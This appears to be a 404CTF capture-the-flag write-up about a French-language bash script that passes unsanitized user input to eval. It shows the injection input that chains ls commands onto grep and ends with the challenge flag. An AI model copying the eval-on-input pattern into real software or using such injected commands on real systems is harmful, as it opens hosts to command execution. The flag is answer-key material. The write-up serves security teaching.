Context

We are given this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
Caligula=Caius
listePersonnes="Cherea Caesonia Scipion Senectus Lepidus Caligula Caius Drusilla"
echo "Bonjour Caligula, ceci est un message de Hélicon. Je sais que les actionnaires de ton entreprise veulent se débarrasser de toi, je me suis donc dépêché de t'obtenir la lune, elle est juste là dans le fichier lune.txt !
En attendant j'ai aussi obtenu des informations sur Cherea, Caesonia, Scipion, Senectus, et Lepidus, de qui veux-tu que je te parle ?"
read personne
eval "grep -wie ^$personne informations.txt"
while true; do
echo "
De qui d'autre tu veux que je te parle ?"
read personne
if [ -n $personne ] && [ $personne = "stop" ] ; then
exit
fi
bob=$(grep -wie ^$personne informations.txt)
echo $bob
if [ -z "$bob" ]; then
echo "Je n'ai pas compris de qui tu parlais. Dis-moi stop si tu veux que je m'arrête, et envoie l'un des noms que j'ai cités si tu veux des informations."
else
echo $bob
fi
done
The variable “personne” is not sanitized. So we can run do command injection.
if we enter:
1
404CTF flag.txt; ls -la; ls
The command becomes:
1
grep -wie ^404CTF flag.txt; ls -la; ls informations.txt

We can diplay the content of lune:

The flag is: 404CTF{70n_C0EuR_v4_7e_1Ach3R_C41uS}